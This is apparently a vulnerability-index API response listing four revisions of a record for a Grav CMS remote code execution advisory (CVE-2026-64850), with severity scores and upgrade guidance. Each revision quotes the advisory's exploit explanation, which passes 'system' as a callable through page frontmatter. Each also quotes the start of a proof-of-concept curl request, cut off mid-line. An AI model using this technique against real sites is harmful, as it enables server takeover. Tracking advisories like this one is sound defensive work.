{"items":[{"id":"NVI-00007784","kind":"vulnerability","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-fj2p-qj2f-74v5","CVE-2026-64850"],"plain_summary":"GitHub lists this reviewed advisory for getgrav/grav. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-bd7e735c40986bf634391bd82b69f25c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.0.7 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-09T21:13:25.910Z","value":"8.7 HIGH (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-83cba50b5289cc77c8a2f8807368edb7"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.467%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.4049. Missing scores are unknown.","source_id":"sr-bd7e735c40986bf634391bd82b69f25c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-3e4d400a8dabd713b09d8f6000cc8a27","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T02:21:43.711Z"},{"id":"sr-e8b2f3c1fa12f0260cdcc7f1520177cd","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.405Z"},{"id":"sr-83cba50b5289cc77c8a2f8807368edb7","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64850","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-64850","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-04T02:48:59.971Z"},{"id":"sr-bd7e735c40986bf634391bd82b69f25c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-64850","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.384Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-3e4d400a8dabd713b09d8f6000cc8a27"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["< 2.0.7"]},{"certainty":"source_listed","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.0.7"]}],"null_published_at":"2026-11-08T15:11:49.384Z","source_updated_at":"2026-09-02T14:51:19.000Z","source_disclosed_at":"2026-09-02T14:51:18.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:20.405Z"},{"id":"NVI-00007784","kind":"vulnerability","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-fj2p-qj2f-74v5","CVE-2026-64850"],"plain_summary":"GitHub lists this reviewed advisory for getgrav/grav. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-bd7e735c40986bf634391bd82b69f25c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.0.7 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.467%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.4049. Missing scores are unknown.","source_id":"sr-bd7e735c40986bf634391bd82b69f25c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-3e4d400a8dabd713b09d8f6000cc8a27","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T02:21:43.711Z"},{"id":"sr-e8b2f3c1fa12f0260cdcc7f1520177cd","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.405Z"},{"id":"sr-bd7e735c40986bf634391bd82b69f25c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-64850","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.384Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-3e4d400a8dabd713b09d8f6000cc8a27"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["< 2.0.7"]},{"certainty":"source_listed","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.0.7"]}],"null_published_at":"2026-11-06T21:03:47.996Z","source_updated_at":"2026-09-02T14:51:19.000Z","source_disclosed_at":"2026-09-02T14:51:18.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:20.405Z"},{"id":"NVI-00007784","kind":"vulnerability","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-fj2p-qj2f-74v5","CVE-2026-64850"],"plain_summary":"GitHub lists this reviewed advisory for getgrav/grav. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-3e4d400a8dabd713b09d8f6000cc8a27"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.0.7 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-3e4d400a8dabd713b09d8f6000cc8a27","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T02:21:43.711Z"},{"id":"sr-e8b2f3c1fa12f0260cdcc7f1520177cd","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.405Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-3e4d400a8dabd713b09d8f6000cc8a27"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["< 2.0.7"]},{"certainty":"source_listed","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.0.7"]}],"null_published_at":"2026-11-02T10:00:37.203Z","source_updated_at":"2026-09-02T14:51:19.000Z","source_disclosed_at":"2026-09-02T14:51:18.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:20.405Z"},{"id":"NVI-00007784","kind":"vulnerability","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-fj2p-qj2f-74v5"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 2.0.7 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-e8b2f3c1fa12f0260cdcc7f1520177cd","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-fj2p-qj2f-74v5","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:20.405Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-e8b2f3c1fa12f0260cdcc7f1520177cd"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `` the site; `` an admin session cookie\nfor an account with `admin.pages`; `` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '/admin/pages/rcepoc' \\\n      -H 'Cookie: ' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 2.0.7"]}],"null_published_at":"2026-10-31T22:13:18.634Z","source_updated_at":"2026-09-02T15:00:11.115Z","source_disclosed_at":"2026-09-02T14:51:18.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:20.405Z"}],"next_cursor":null,"snapshot_revision":"42594"}